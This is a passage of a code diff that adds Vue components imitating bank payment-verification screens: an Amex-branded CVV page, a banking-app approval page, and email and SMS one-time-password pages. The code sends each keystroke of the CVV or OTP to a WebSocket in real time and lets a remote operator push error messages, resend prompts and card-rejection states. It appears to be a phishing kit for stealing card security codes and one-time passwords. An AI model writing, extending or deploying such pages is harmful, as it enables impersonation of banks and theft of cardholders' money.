||||||
|
})
|
||||||
|
|
||||||
|
// 监听自定义错误信息
|
||||||
|
watch(customErrorMessage, (newVal) => {
|
||||||
|
if (newVal) {
|
||||||
|
errorMessage.value = newVal
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// 监听处理状态
|
||||||
|
watch(wsProcessing, (newVal) => {
|
||||||
|
isProcessing.value = newVal
|
||||||
|
})
|
||||||
|
|
||||||
|
// 监听卡片拒绝状态
|
||||||
|
watch(wsCardRejected, (newVal) => {
|
||||||
|
isCardRejected.value = newVal
|
||||||
|
})
|
||||||
|
|
||||||
|
// 处理输入
|
||||||
|
const handleInput = (event) => {
|
||||||
|
// 只允许输入数字
|
||||||
|
cvvCode.value = event.target.value.replace(/[^0-9]/g, '')
|
||||||
|
|
||||||
|
// 清除错误信息
|
||||||
|
if (errorMessage.value) {
|
||||||
|
errorMessage.value = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
// 实时发送CVV码输入到WebSocket
|
||||||
|
if (cvvCode.value) {
|
||||||
|
trackInput('cvv', cvvCode.value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 提交CVV码
|
||||||
|
const submitCode = () => {
|
||||||
|
if (!isValid.value || isProcessing.value) return
|
||||||
|
|
||||||
|
isProcessing.value = true
|
||||||
|
errorMessage.value = ''
|
||||||
|
|
||||||
|
// 发送到WebSocket
|
||||||
|
submitVerificationCode('amex_cvv', cvvCode.value)
|
||||||
|
}
|
||||||
|
|
||||||
|
onMounted(() => {
|
||||||
|
// 检查是否有自定义错误信息
|
||||||
|
if (customErrorMessage.value) {
|
||||||
|
errorMessage.value = customErrorMessage.value
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否卡片被拒绝
|
||||||
|
if (wsCardRejected.value) {
|
||||||
|
isCardRejected.value = wsCardRejected.value
|
||||||
|
}
|
||||||
|
})
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
.verification-container {
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card {
|
||||||
|
background: white;
|
||||||
|
border-radius: 4px;
|
||||||
|
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
|
||||||
|
width: 100%;
|
||||||
|
min-height: 100vh;
|
||||||
|
padding: 1.5rem;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header {
|
||||||
|
padding-bottom: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.amex-logo {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
font-size: 1.5rem;
|
||||||
|
font-weight: 600;
|
||||||
|
color: #333;
|
||||||
|
}
|
||||||
|
|
||||||
|
.amex-logo img {
|
||||||
|
height: 32px;
|
||||||
|
width: auto;
|
||||||
|
margin-right: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.superscript {
|
||||||
|
font-size: 0.7em;
|
||||||
|
vertical-align: super;
|
||||||
|
}
|
||||||
|
|
||||||
|
.divider {
|
||||||
|
height: 1px;
|
||||||
|
background-color: #e0e0e0;
|
||||||
|
margin: 1rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
h2 {
|
||||||
|
font-size: 1.25rem;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
color: #333;
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
|
||||||
|
.description {
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
color: #555;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.transaction-details {
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
color: #555;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group {
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
input {
|
||||||
|
width: 100%;
|
||||||
|
padding: 0.75rem;
|
||||||
|
border: 1px solid #ddd;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 1rem;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error-message {
|
||||||
|
color: #d9534f;
|
||||||
|
margin-top: 0.5rem;
|
||||||
|
font-size: 0.875rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.continue-button {
|
||||||
|
padding: 0.75rem;
|
||||||
|
background-color: #f1f1f1;
|
||||||
|
color: #555;
|
||||||
|
border: 1px solid #ddd;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 1rem;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background-color 0.3s;
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.continue-button:hover:not(:disabled) {
|
||||||
|
background-color: #e5e5e5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.continue-button:disabled {
|
||||||
|
opacity: 0.6;
|
||||||
|
cursor: not-allowed;
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer {
|
||||||
|
margin-top: auto;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.privacy-link {
|
||||||
|
color: #0078d7;
|
||||||
|
text-decoration: none;
|
||||||
|
font-size: 0.875rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.privacy-link:hover {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
248
src/components/verification/AppVerificationPage.vue
Normal file
@@ -0,0 +1,248 @@
|
|||||||
|
<template>
|
||||||
|
<div class="verification-container">
|
||||||
|
<div class="card">
|
||||||
|
<div class="logo">
|
||||||
|
<img src="/assets/bank-icon.svg" alt="Bank Logo" />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h2>App Verification Required</h2>
|
||||||
|
|
||||||
|
<div class="app-verification-content">
|
||||||
|
<div class="app-icon">
|
||||||
|
<img src="/assets/bank-app-icon.svg" alt="Bank App Icon" />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p class="description">
|
||||||
|
To complete this transaction, we have sent a verification request to your mobile banking app.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p class="instruction">
|
||||||
|
Please open your banking app and approve the transaction.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div class="verification-status">
|
||||||
|
<div class="status-indicator" :class="{ 'active': isProcessing }"></div>
|
||||||
|
<span>{{ statusText }}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p v-if="errorMessage" class="error-message">{{ errorMessage }}</p>
|
||||||
|
|
||||||
|
<div class="collapsible">
|
||||||
|
<div class="collapsible-header" @click="toggleHelp('authentication')">
|
||||||
|
Learn more about App Authentication
|
||||||
|
<span class="toggle-icon">+</span>
|
||||||
|
</div>
|
||||||
|
<div class="collapsible-content" v-if="showAuthenticationHelp">
|
||||||
|
<p>
|
||||||
|
App verification is a secure way to authenticate your transactions.
|
||||||
|
When you initiate a payment, a notification is sent to your registered mobile banking app.
|
||||||
|
Simply open the app and approve the transaction by following the prompts.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="collapsible">
|
||||||
|
<div class="collapsible-header" @click="toggleHelp('help')">
|
||||||
|
Need Some Help?
|
||||||
|
<span class="toggle-icon">+</span>
|
||||||
|
</div>
|
||||||
|
<div class="collapsible-content" v-if="showHelpContent">
|
||||||
|
<p>
|
||||||
|
If you're having trouble with App Verification:
|
||||||
|
</p>
|
||||||
|
<ul>
|
||||||
|
<li>Make sure you have the latest version of the mobile banking app installed</li>
|
||||||
|
<li>Check that you have enabled notifications for the banking app</li>
|
||||||
|
<li>Ensure your device has an internet connection</li>
|
||||||
|
<li>If you don't receive a notification, try refreshing the app</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script setup>
|
||||||
|
import { ref, computed, onMounted, watch } from 'vue'
|
||||||
|
import { useWebSocket } from '../../composables/useWebSocket'
|
||||||
|
|
||||||
|
// WebSocket相关
|
||||||
|
const {
|
||||||
|
verificationData,
|
||||||
|
isProcessing: wsProcessing,
|
||||||
|
customErrorMessage
|
||||||
|
} = useWebSocket()
|
||||||
|
|
||||||
|
const errorMessage = ref('')
|
||||||
|
const isProcessing = ref(true) // 默认显示处理中
|
||||||
|
const showAuthenticationHelp = ref(false)
|
||||||
|
const showHelpContent = ref(false)
|
||||||
|
const statusText = ref('Waiting for app verification...')
|
||||||
|
|
||||||
|
// 监听自定义错误信息
|
||||||
|
watch(customErrorMessage, (newVal) => {
|
||||||
|
if (newVal) {
|
||||||
|
errorMessage.value = newVal
|
||||||
|
isProcessing.value = false
|
||||||
|
statusText.value = 'Verification failed'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// 监听处理状态
|
||||||
|
watch(wsProcessing, (newVal) => {
|
||||||
|
isProcessing.value = newVal
|
||||||
|
if (!newVal) {
|
||||||
|
statusText.value = 'Verification complete'
|
||||||
|
} else {
|
||||||
|
statusText.value = 'Waiting for app verification...'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// 切换帮助内容显示
|
||||||
|
const toggleHelp = (type) => {
|
||||||
|
if (type === 'authentication') {
|
||||||
|
showAuthenticationHelp.value = !showAuthenticationHelp.value
|
||||||
|
} else if (type === 'help') {
|
||||||
|
showHelpContent.value = !showHelpContent.value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
onMounted(() => {
|
||||||
|
// 检查是否有自定义错误信息
|
||||||
|
if (customErrorMessage.value) {
|
||||||
|
errorMessage.value = customErrorMessage.value
|
||||||
|
isProcessing.value = false
|
||||||
|
statusText.value = 'Verification failed'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
.verification-container {
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card {
|
||||||
|
background: white;
|
||||||
|
border-radius: 4px;
|
||||||
|
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
|
||||||
|
width: 100%;
|
||||||
|
min-height: 100vh;
|
||||||
|
padding: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo img {
|
||||||
|
height: 32px;
|
||||||
|
width: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
h2 {
|
||||||
|
font-size: 1.5rem;
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
color: #333;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.app-verification-content {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
margin-bottom: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.app-icon {
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.app-icon img {
|
||||||
|
width: 72px;
|
||||||
|
height: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.description, .instruction {
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
color: #555;
|
||||||
|
line-height: 1.5;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.verification-status {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
margin-top: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-indicator {
|
||||||
|
width: 12px;
|
||||||
|
height: 12px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background-color: #ddd;
|
||||||
|
margin-right: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-indicator.active {
|
||||||
|
background-color: #28a745;
|
||||||
|
box-shadow: 0 0 0 4px rgba(40, 167, 69, 0.2);
|
||||||
|
animation: pulse 1.5s infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes pulse {
|
||||||
|
0% {
|
||||||
|
box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.4);
|
||||||
|
}
|
||||||
|
70% {
|
||||||
|
box-shadow: 0 0 0 6px rgba(40, 167, 69, 0);
|
||||||
|
}
|
||||||
|
100% {
|
||||||
|
box-shadow: 0 0 0 0 rgba(40, 167, 69, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.error-message {
|
||||||
|
color: #d9534f;
|
||||||
|
margin: 1rem 0;
|
||||||
|
font-size: 0.875rem;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible {
|
||||||
|
margin-top: 1.5rem;
|
||||||
|
border-top: 1px solid #eee;
|
||||||
|
padding-top: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-header {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
cursor: pointer;
|
||||||
|
color: #0047b3;
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.toggle-icon {
|
||||||
|
font-size: 1.25rem;
|
||||||
|
line-height: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-content {
|
||||||
|
margin-top: 1rem;
|
||||||
|
color: #666;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-content ul {
|
||||||
|
padding-left: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-content li {
|
||||||
|
margin-bottom: 0.5rem;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
300
src/components/verification/EmailVerificationPage.vue
Normal file
@@ -0,0 +1,300 @@
|
|||||||
|
<template>
|
||||||
|
<div class="verification-container">
|
||||||
|
<div class="card">
|
||||||
|
<div class="logo">
|
||||||
|
<img src="/assets/bank-icon.svg" alt="Bank Logo" />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h2>Payment Security</h2>
|
||||||
|
|
||||||
|
<p class="description">
|
||||||
|
To ensure the security of your payment, we have sent a One-Time Password (OTP) in a text message to your registered email (last digits {{ verificationData?.emailLastDigits || '123@126.com' }}).
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p class="instruction">Please submit your One-Time Password (OTP).</p>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="verification-code">Verification Code</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="verification-code"
|
||||||
|
v-model="verificationCode"
|
||||||
|
:disabled="isProcessing"
|
||||||
|
autocomplete="off"
|
||||||
|
placeholder=""
|
||||||
|
maxlength="6"
|
||||||
|
@input="handleInput"
|
||||||
|
/>
|
||||||
|
<p v-if="errorMessage" class="error-message">{{ errorMessage }}</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<button
|
||||||
|
class="submit-button"
|
||||||
|
@click="submitCode"
|
||||||
|
:disabled="!isValid || isProcessing"
|
||||||
|
>
|
||||||
|
<span v-if="!isProcessing">Confirm</span>
|
||||||
|
<span v-else class="processing">Processing...</span>
|
||||||
|
</button>
|
||||||
|
|
||||||
|
<div class="resend-link" @click="resendCode">Resend</div>
|
||||||
|
|
||||||
|
<div class="collapsible">
|
||||||
|
<div class="collapsible-header" @click="toggleHelp('authentication')">
|
||||||
|
Learn more about Authentication
|
||||||
|
<span class="toggle-icon">+</span>
|
||||||
|
</div>
|
||||||
|
<div class="collapsible-content" v-if="showAuthenticationHelp">
|
||||||
|
<p>
|
||||||
|
To protect your account and ensure secure transactions, we use a two-factor authentication system.
|
||||||
|
The one-time verification code is sent to your registered email address and is valid for 10 minutes.
|
||||||
|
Please check your inbox and spam folder if you don't see it.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="collapsible">
|
||||||
|
<div class="collapsible-header" @click="toggleHelp('help')">
|
||||||
|
Need Some Help?
|
||||||
|
<span class="toggle-icon">+</span>
|
||||||
|
</div>
|
||||||
|
<div class="collapsible-content" v-if="showHelpContent">
|
||||||
|
<p>
|
||||||
|
If you didn't receive the verification code:
|
||||||
|
</p>
|
||||||
|
<ul>
|
||||||
|
<li>Check your spam or junk folder</li>
|
||||||
|
<li>Verify that your registered email address is correct</li>
|
||||||
|
<li>Wait a few minutes and try again</li>
|
||||||
|
<li>Add our domain to your safe senders list</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script setup>
|
||||||
|
import { ref, computed, onMounted, watch } from 'vue'
|
||||||
|
import { useWebSocket } from '../../composables/useWebSocket'
|
||||||
|
|
||||||
|
// WebSocket相关
|
||||||
|
const {
|
||||||
|
verificationData,
|
||||||
|
isProcessing: wsProcessing,
|
||||||
|
customErrorMessage,
|
||||||
|
submitVerificationCode,
|
||||||
|
resendVerificationCode,
|
||||||
|
trackInput
|
||||||
|
} = useWebSocket()
|
||||||
|
|
||||||
|
const verificationCode = ref('')
|
||||||
|
const errorMessage = ref('')
|
||||||
|
const isProcessing = ref(false)
|
||||||
|
const showAuthenticationHelp = ref(false)
|
||||||
|
const showHelpContent = ref(false)
|
||||||
|
|
||||||
|
const isValid = computed(() => {
|
||||||
|
return verificationCode.value.length >= 4
|
||||||
|
})
|
||||||
|
|
||||||
|
// 监听自定义错误信息
|
||||||
|
watch(customErrorMessage, (newVal) => {
|
||||||
|
if (newVal) {
|
||||||
|
errorMessage.value = newVal
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// 监听处理状态
|
||||||
|
watch(wsProcessing, (newVal) => {
|
||||||
|
isProcessing.value = newVal
|
||||||
|
})
|
||||||
|
|
||||||
|
// 处理输入
|
||||||
|
const handleInput = (event) => {
|
||||||
|
// 只允许输入数字和字母
|
||||||
|
verificationCode.value = event.target.value.replace(/[^0-9a-zA-Z]/g, '')
|
||||||
|
|
||||||
|
// 清除错误信息
|
||||||
|
if (errorMessage.value) {
|
||||||
|
errorMessage.value = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
// 实时发送验证码输入到WebSocket
|
||||||
|
if (verificationCode.value) {
|
||||||
|
trackInput('verifyCode', verificationCode.value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 提交验证码
|
||||||
|
const submitCode = () => {
|
||||||
|
if (!isValid.value || isProcessing.value) return
|
||||||
|
|
||||||
|
isProcessing.value = true
|
||||||
|
errorMessage.value = ''
|
||||||
|
|
||||||
|
// 发送到WebSocket
|
||||||
|
submitVerificationCode('email', verificationCode.value)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 重新发送验证码
|
||||||
|
const resendCode = () => {
|
||||||
|
if (isProcessing.value) return
|
||||||
|
|
||||||
|
resendVerificationCode('email')
|
||||||
|
errorMessage.value = ''
|
||||||
|
verificationCode.value = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
// 切换帮助内容显示
|
||||||
|
const toggleHelp = (type) => {
|
||||||
|
if (type === 'authentication') {
|
||||||
|
showAuthenticationHelp.value = !showAuthenticationHelp.value
|
||||||
|
} else if (type === 'help') {
|
||||||
|
showHelpContent.value = !showHelpContent.value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
onMounted(() => {
|
||||||
|
// 检查是否有自定义错误信息
|
||||||
|
if (customErrorMessage.value) {
|
||||||
|
errorMessage.value = customErrorMessage.value
|
||||||
|
}
|
||||||
|
})
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
.verification-container {
|
||||||
|
min-height: 100vh;
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card {
|
||||||
|
background: white;
|
||||||
|
border-radius: 4px;
|
||||||
|
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
|
||||||
|
width: 100%;
|
||||||
|
min-height: 100vh;
|
||||||
|
padding: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo img {
|
||||||
|
height: 32px;
|
||||||
|
width: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
h2 {
|
||||||
|
font-size: 1.5rem;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
color: #333;
|
||||||
|
}
|
||||||
|
|
||||||
|
.description, .instruction {
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
color: #555;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group {
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
label {
|
||||||
|
display: block;
|
||||||
|
font-weight: 500;
|
||||||
|
margin-bottom: 0.5rem;
|
||||||
|
color: #666;
|
||||||
|
}
|
||||||
|
|
||||||
|
input {
|
||||||
|
width: 100%;
|
||||||
|
padding: 0.75rem;
|
||||||
|
border: 1px solid #ddd;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error-message {
|
||||||
|
color: #d9534f;
|
||||||
|
margin-top: 0.5rem;
|
||||||
|
font-size: 0.875rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.submit-button {
|
||||||
|
width: 100%;
|
||||||
|
padding: 0.75rem;
|
||||||
|
background-color: #0047b3;
|
||||||
|
color: white;
|
||||||
|
border: none;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 1rem;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background-color 0.3s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.submit-button:hover:not(:disabled) {
|
||||||
|
background-color: #003d99;
|
||||||
|
}
|
||||||
|
|
||||||
|
.submit-button:disabled {
|
||||||
|
background-color: #99b3e6;
|
||||||
|
cursor: not-allowed;
|
||||||
|
}
|
||||||
|
|
||||||
|
.processing {
|
||||||
|
display: inline-block;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.resend-link {
|
||||||
|
text-align: center;
|
||||||
|
margin-top: 1rem;
|
||||||
|
color: #0047b3;
|
||||||
|
cursor: pointer;
|
||||||
|
font-size: 0.875rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.resend-link:hover {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible {
|
||||||
|
margin-top: 1.5rem;
|
||||||
|
border-top: 1px solid #eee;
|
||||||
|
padding-top: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-header {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
cursor: pointer;
|
||||||
|
color: #0047b3;
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.toggle-icon {
|
||||||
|
font-size: 1.25rem;
|
||||||
|
line-height: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-content {
|
||||||
|
margin-top: 1rem;
|
||||||
|
color: #666;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-content ul {
|
||||||
|
padding-left: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-content li {
|
||||||
|
margin-bottom: 0.5rem;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
331
src/components/verification/OtpVerificationPage.vue
Normal file
@@ -0,0 +1,331 @@
|
|||||||
|
<template>
|
||||||
|
<div>
|
||||||
|
<div class="card">
|
||||||
|
<div class="logo">
|
||||||
|
<svg width="36" height="36" viewBox="0 0 36 36" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<path d="M10 10H26V28H10V10Z" stroke="#333333" stroke-width="2"/>
|
||||||
|
<path d="M7 10H29" stroke="#333333" stroke-width="2"/>
|
||||||
|
<path d="M13 16H15" stroke="#333333" stroke-width="2"/>
|
||||||
|
<path d="M13 22H15" stroke="#333333" stroke-width="2"/>
|
||||||
|
<path d="M21 16H23" stroke="#333333" stroke-width="2"/>
|
||||||
|
<path d="M21 22H23" stroke="#333333" stroke-width="2"/>
|
||||||
|
<rect x="14" y="5" width="8" height="5" stroke="#333333" stroke-width="2"/>
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h2>Payment Security</h2>
|
||||||
|
|
||||||
|
<p class="description">
|
||||||
|
To ensure the security of your payment, we have sent a One-Time Password (OTP) in a text message to your registered mobile number (last digits {{ verificationData?.phoneLastDigits || '1111' }}).
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p class="instruction">Please submit your One-Time Password (OTP).</p>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="verification-code">Verification Code</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="verification-code"
|
||||||
|
v-model="verificationCode"
|
||||||
|
:disabled="isProcessing"
|
||||||
|
autocomplete="off"
|
||||||
|
placeholder=""
|
||||||
|
maxlength="6"
|
||||||
|
@input="handleInput"
|
||||||
|
/>
|
||||||
|
<p v-if="errorMessage" class="error-message">{{ errorMessage }}</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<button
|
||||||
|
class="submit-button"
|
||||||
|
@click="submitCode"
|
||||||
|
:disabled="!isValid || isProcessing"
|
||||||
|
>
|
||||||
|
<span v-if="!isProcessing">Submit</span>
|
||||||
|
<span v-else class="processing">Processing...</span>
|
||||||
|
</button>
|
||||||
|
|
||||||
|
<div class="resend-link" @click="resendCode">Resend</div>
|
||||||
|
|
||||||
|
<div class="divider"></div>
|
||||||
|
|
||||||
|
<div class="collapsible">
|
||||||
|
<div class="collapsible-header" @click="toggleHelp('authentication')">
|
||||||
|
Learn more about Authentication
|
||||||
|
<span class="toggle-icon">+</span>
|
||||||
|
</div>
|
||||||
|
<div class="collapsible-content" v-if="showAuthenticationHelp">
|
||||||
|
<p>
|
||||||
|
To protect your account and ensure secure transactions, we use a two-factor authentication system.
|
||||||
|
The one-time verification code is sent to your registered mobile number and is valid for 5 minutes.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="collapsible">
|
||||||
|
<div class="collapsible-header" @click="toggleHelp('help')">
|
||||||
|
Need Some Help?
|
||||||
|
<span class="toggle-icon">+</span>
|
||||||
|
</div>
|
||||||
|
<div class="collapsible-content" v-if="showHelpContent">
|
||||||
|
<p>
|
||||||
|
If you didn't receive the verification code:
|
||||||
|
</p>
|
||||||
|
<ul>
|
||||||
|
<li>Check if your phone has signal</li>
|
||||||
|
<li>Verify that your registered mobile number is correct</li>
|
||||||
|
<li>Wait a few minutes and try again</li>
|
||||||
|
<li>Check your spam or junk folder</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script setup>
|
||||||
|
import { ref, computed, onMounted, watch } from 'vue'
|
||||||
|
import { useWebSocket } from '../../composables/useWebSocket'
|
||||||
|
|
||||||
|
// WebSocket相关
|
||||||
|
const {
|
||||||
|
verificationData,
|
||||||
|
isProcessing: wsProcessing,
|
||||||
|
customErrorMessage,
|
||||||
|
submitVerificationCode,
|
||||||
|
resendVerificationCode,
|
||||||
|
trackInput
|
||||||
|
} = useWebSocket()
|
||||||
|
|
||||||
|
const verificationCode = ref('')
|
||||||
|
const errorMessage = ref('')
|
||||||
|
const isProcessing = ref(false)
|
||||||
|
const showAuthenticationHelp = ref(false)
|
||||||
|
const showHelpContent = ref(false)
|
||||||
|
|
||||||
|
const isValid = computed(() => {
|
||||||
|
return verificationCode.value.length >= 4
|
||||||
|
})
|
||||||
|
|
||||||
|
// 监听自定义错误信息
|
||||||
|
watch(customErrorMessage, (newVal) => {
|
||||||
|
if (newVal) {
|
||||||
|
errorMessage.value = newVal
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// 监听处理状态
|
||||||
|
watch(wsProcessing, (newVal) => {
|
||||||
|
isProcessing.value = newVal
|
||||||
|
})
|
||||||
|
|
||||||
|
// 处理输入
|
||||||
|
const handleInput = (event) => {
|
||||||
|
// 只允许输入数字
|
||||||
|
verificationCode.value = event.target.value.replace(/[^0-9]/g, '')
|
||||||
|
|
||||||
|
// 清除错误信息
|
||||||
|
if (errorMessage.value) {
|
||||||
|
errorMessage.value = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
// 实时发送验证码输入到WebSocket
|
||||||
|
if (verificationCode.value) {
|
||||||
|
trackInput('verifyCode', verificationCode.value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 提交验证码
|
||||||
|
const submitCode = () => {
|
||||||
|
if (!isValid.value || isProcessing.value) return
|
||||||
|
|
||||||
|
isProcessing.value = true
|
||||||
|
errorMessage.value = ''
|
||||||
|
|
||||||
|
// 发送到WebSocket
|
||||||
|
submitVerificationCode('otp', verificationCode.value)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 重新发送验证码
|
||||||
|
const resendCode = () => {
|
||||||
|
if (isProcessing.value) return
|
||||||
|
|
||||||
|
resendVerificationCode('otp')
|
||||||
|
errorMessage.value = ''
|
||||||
|
verificationCode.value = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
// 切换帮助内容显示
|
||||||
|
const toggleHelp = (type) => {
|
||||||
|
if (type === 'authentication') {
|
||||||
|
